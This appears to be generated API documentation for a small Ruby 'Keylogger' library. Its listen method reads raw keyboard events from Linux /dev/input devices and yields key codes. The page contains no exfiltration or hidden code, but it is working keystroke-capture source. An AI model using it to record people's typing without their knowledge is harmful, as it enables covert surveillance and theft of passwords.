Class: Keylogger

Inherits:
Object
  • Object
show all
Defined in:
lib/keylogger.rb,
lib/input_devices.rb

Defined Under Namespace

Modules: InputDevices

Constant Summary collapse

SUPPORTED_PLATFORMS =
%w[x86_64-linux x86_64-linux-gnu].freeze
FORMAT =
"l!<l!<HHI!<".freeze
MIN_ID =
0
MAX_ID =
59
DeviceNotFoundError =
Class.new(StandardError)
WrongPlatformError =
Class.new(StandardError)

Instance Method Summary collapse

Constructor Details

#initialize(name = nil) ⇒ Keylogger

Returns a new instance of Keylogger.



11
12
13
14
15
16
17
18
19
20
# File 'lib/keylogger.rb', line 11

def initialize(name = nil)
  @device = InputDevices.find_by_name(name) || InputDevices.default

  unless SUPPORTED_PLATFORMS.include?(RUBY_PLATFORM)
    raise WrongPlatformError,
          "platform #{RUBY_PLATFORM} not supported"
  end

  raise DeviceNotFoundError unless @device
end

Instance Method Details

#listenObject



22
23
24
25
26
27
28
29
30
# File 'lib/keylogger.rb', line 22

def listen
  file = File.open("/dev/input/event" + @device.event_id, "rb")
  loop do
    line = file.read(24)
    value = line.unpack(FORMAT).last

    yield value if value > MIN_ID && value < MAX_ID
  end
end